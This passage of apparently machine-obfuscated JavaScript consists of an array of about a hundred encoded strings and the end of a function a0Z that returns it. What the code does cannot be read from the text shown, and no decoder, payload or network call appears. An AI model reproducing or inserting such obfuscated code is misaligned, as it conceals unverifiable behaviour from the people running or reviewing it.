U=['DCoWWO4','t8oHW5m','WOZcISomW5uvWPddSSoGW5NdM3CIDgW','WQ/cNKG','W63cTx0','oCk1ta','WRRcM3C','qmo0WPG','WOJcSmkw','hSoOaMVcVmooWOJcHCoQzaGE','DCoWWPS','W4pcP8kR','W7xcUJq','n37cGa','W5fOda','W7BdKZ0','W7JdKc3cIW0nkmkJWQv+eW','DCoWaW','iCoNW6q','WQ7cHvy','W4b9W5a','WQZdRMtcM8kGBLikW43dPXK2','qCoQW4m','DSovha','ihJcGa','W7W+rG','jd/cIa','vxRcGG','wmkfFa','W6eWwq','W4ddHmkg','cuBcVq','jrJdTW','W6BdOSo9','D8orjG','kCkTAW','WQZcVmku','lSk5Fq','WRhdT8otW5G8uxC','WOe+WO/dHZH8wmomahP6i8kDxa','W5hcQmkt','wXhcRcmYW43cS8kYWPXRWRuaWQRcQW','jCoSW6m','W45ZbG','ruNdRa','WQdcPmkr','y8kZW7O','WR8BAG','m8kNvftdQIdcJG','DCo+W4C','kspcN8o0WPqdfXHXvZpdQa','W47dJ8ko','CSkLFa','W67cUwu','W7ZcVtq','WR3cHK0','ySkVFa','xbZdULlcOHFdI8kKaSo7W6W6','stVcMq','WOnVfq','W4n7W40','W793pG','W5pdNSoAWRaitxddH0pcT8kdW6NcQG','jrRdSa','WQZcM2W','emk1WPxdOv5NymkivZFcMtW','WQBcUSkq','yhbz','Bmo8WO0','FCkGW6K','uSoMWRC','WRNdPsO5W7a0WQ7cGmkChe8unLq','cWhcGq','WOWWxN3dMqqmr1yJxCovWPW','DmkXCG','iYWlbcNdRH5gWRdcGmoB','e8o1WPaZWRXavW','eSkRWOG','W4NdJSkp','ih/cJW','yhXl','y8kBaq','W7NcO2m','WOpcNCkc','qY3cPa','W4L8W4S','l3/cGG','W5ddKCoDWRrQmcVdT3lcRa','lYJcNCo3W7b5gsHWFq','lg99','W5f7W5y','uHhcRseWW4VdJmoIWR1aWPaH','W4pcQ8kx','uCowW5G','W7DLWOZdKtyNta','DCkVCq'];a0Z=function(){return U;};return a0Z();}};